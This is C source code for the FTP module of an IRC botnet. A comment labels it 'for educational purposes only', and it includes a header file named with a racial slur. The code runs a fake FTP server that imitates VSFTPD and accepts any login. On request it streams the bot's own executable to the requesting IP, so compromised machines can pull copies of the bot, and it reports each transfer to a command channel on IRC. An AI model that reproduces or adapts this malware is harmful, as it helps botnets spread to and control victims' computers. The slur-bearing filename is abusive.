ftpd.c

/*
 *      ftpd.c 2007 Ravo_5002
 *      This code is for educational purposes only...
 *      Most of this code has been ripped... Credits go to Stony i think...
 */

#include <stdio.h>
#include <winsock.h>
#include <windows.h>

#include "ftpd.h"
#include "niggerbot.h"
#include "config.h"

unsigned long ftpd(void *s) {

    SOCKET ircconn = (SOCKET)s;

    SOCKET listener;
    SOCKET newfd;

    char sendbuf[512];
    struct sockaddr_in server_address;
    struct sockaddr_in remoteaddr;
    long h;
    int reuse_addr = 1;
    unsigned long mode = 1;
    int fdmax;
    int i;
    int addrlen;
    int nbytes;

    char buf[100];
    char tmpbuf[100];
    char tmpbuf2[100];
    char a[4];
    char b[4];
    char c[4];
    char d[4];
    char p1[50];
    char p2[50];
    char tmpip[15];
    int po,po2;

    struct fd_set master;   // master file descriptor list
    struct fd_set read_fds; // temp file descriptor list for select()

    FD_ZERO(&master);    // clear the master and temp sets
    FD_ZERO(&read_fds);


    listener = socket(AF_INET, SOCK_STREAM, 0);
    setsockopt(listener, SOL_SOCKET, SO_REUSEADDR, (char*)&reuse_addr,sizeof(reuse_addr));
    ioctlsocket(listener, FIONBIO, &mode);

    server_address.sin_family = AF_INET;
    server_address.sin_addr.s_addr = INADDR_ANY;
    server_address.sin_port = htons(FTPPORT);

    if (bind(listener, (struct sockaddr *) &server_address,sizeof(server_address)) < 0 ) {
        return 1;
    }

    listen(listener,10);

    FD_SET(listener, &master);

    fdmax = listener;


    while(1) {
        read_fds = master;
        if (select(fdmax+1, &read_fds, NULL, NULL, NULL) == -1) {
            return 1;
        }
        for(i = 0; i <= fdmax; i++) {
            memset(buf,0,sizeof(buf));
            memset(tmpbuf,0,sizeof(tmpbuf));
            if (FD_ISSET(i, &read_fds)) {
                if (i == (int)listener) {
                    addrlen = sizeof(remoteaddr);
                    if ((newfd = accept(listener, (struct sockaddr *)&remoteaddr,&addrlen)) != -1) {
                        FD_SET(newfd, &master);
                        if ((int)newfd > fdmax) {
                            fdmax = newfd;
                        }
                        send(newfd, "220 VSFTPD V3.0 beta\n",21 , 0);
                    }
                } else {
                    if ((nbytes = recv(i, buf, sizeof(buf), 0)) <= 0) {
                        FD_CLR(i, &master);
                        closesocket(i);
                    } else {
                        sscanf(buf,"%s %s",tmpbuf,tmpbuf2);
                        if (strcmp(tmpbuf,"USER") == 0) {
                            send(i,"331 Password required\n",22 , 0);
                        }
                        else if (strcmp(tmpbuf,"PASS") == 0) {
                            send(i,"230 User logged in.\n",20 , 0);
                        }
                        else if (strcmp(tmpbuf,"SYST") == 0) {
                            send(i,"215 vnc ftpd\n",13 , 0);
                        }
                        else if (strcmp(tmpbuf,"REST") == 0) {
                            send(i,"350 Restarting.\n",16 , 0);
                        }
                        else if (strcmp(tmpbuf,"PWD") == 0) {
                            send(i,"257 \"/\" is current directory.\n",30 , 0);
                        }
                        else if ((strcmp(tmpbuf,"TYPE") == 0) && (strcmp(tmpbuf2,"A") == 0)) {
                            send(i,"200 Type set to A.\n",19 , 0);
                        }
                        else if ((strcmp(tmpbuf,"TYPE") == 0) && (strcmp(tmpbuf2,"I") == 0)) {
                            send(i,"200 Type set to I.\n",19 , 0);
                        }
                        else if (strcmp(tmpbuf,"PASV") == 0) {
                            char pasv[] = "425 Passive not supported on this server\n";
                            send(i, pasv, strlen(pasv), 0);
                        }
                        else if (strcmp(tmpbuf,"LIST") == 0) {
                            char list[] = "226 Transfer complete\n";
                            send(i, list, strlen(list), 0);
                        }
                        else if (strcmp(tmpbuf,"PORT") == 0) {
                            sscanf(buf,"%*s %[^,],%[^,],%[^,],%[^,],%[^,],%[^\n]",a,b,c,d,p1,p2);
                            po = atoi(p1);
                            po2 = atoi(p2);
                            memset(p1,0,sizeof(p1));
                            sprintf(p1,"%x%x\n",po,po2);
                            h = strtoul(p1, NULL, 16);
                            sprintf(tmpip,"%s.%s.%s.%s",a,b,c,d);
                            send(i,"200 PORT command successful.\n",29 , 0);

                        }
                        else if (strcmp(tmpbuf,"RETR") == 0) {
                            send(i,"150 Opening BINARY mode data connection\n",40 , 0);
                            if(sendbot(ircconn, tmpip, (int)h) == 1) {
                                send(i,"226 Transfer complete.\n",23 , 0);
                            } else {
                                send(i,"425 Can't open data connection.\n",32,0);
                            }
                        }
                        else if (strcmp(tmpbuf,"QUIT") == 0) {
                            send(i,"221 Bye!\n",8 , 0);
                        }
                        memset(buf,0,sizeof(buf));
                    }
                }
            }
        }
    }
    return 1;
}

int sendbot(SOCKET ircconn, char *ip,int port) {
    struct  sockaddr_in server;
    SOCKET data_sock;
    data_sock = socket(AF_INET, SOCK_STREAM, 0);
    server.sin_family = AF_INET;
    server.sin_addr.s_addr = inet_addr(ip);
    server.sin_port = htons(port);

    char buff[4096];

    if (connect(data_sock,(struct sockaddr *)&server, sizeof(struct sockaddr)) == -1) {
        closesocket(data_sock);
        sprintf(buff, "PRIVMSG %s :[VNC] transferring to %s:%d failed...\n", CHANNEL, ip, port);
        send(ircconn,buff, strlen(buff), 0);
        return 0;
    }

    sprintf(buff, "PRIVMSG %s :[VNC] transferring %s:%d...\n", CHANNEL, ip, port);
    send(ircconn,buff, strlen(buff), 0);
    FILE * fid;
    char myfname[512];
    unsigned char buffer[1024];
    GetModuleFileName(NULL,myfname,sizeof(myfname));

    fid = fopen(myfname, "rb");
    if (!fid) { return 0; }

    while(!feof(fid))
    {
        fread(&buffer, sizeof(buffer), 1, fid);
        send(data_sock, (const char*)buffer, sizeof(buffer), 0);
        Sleep(1);
    }
    fclose(fid);
    closesocket(data_sock);
    return 1;
}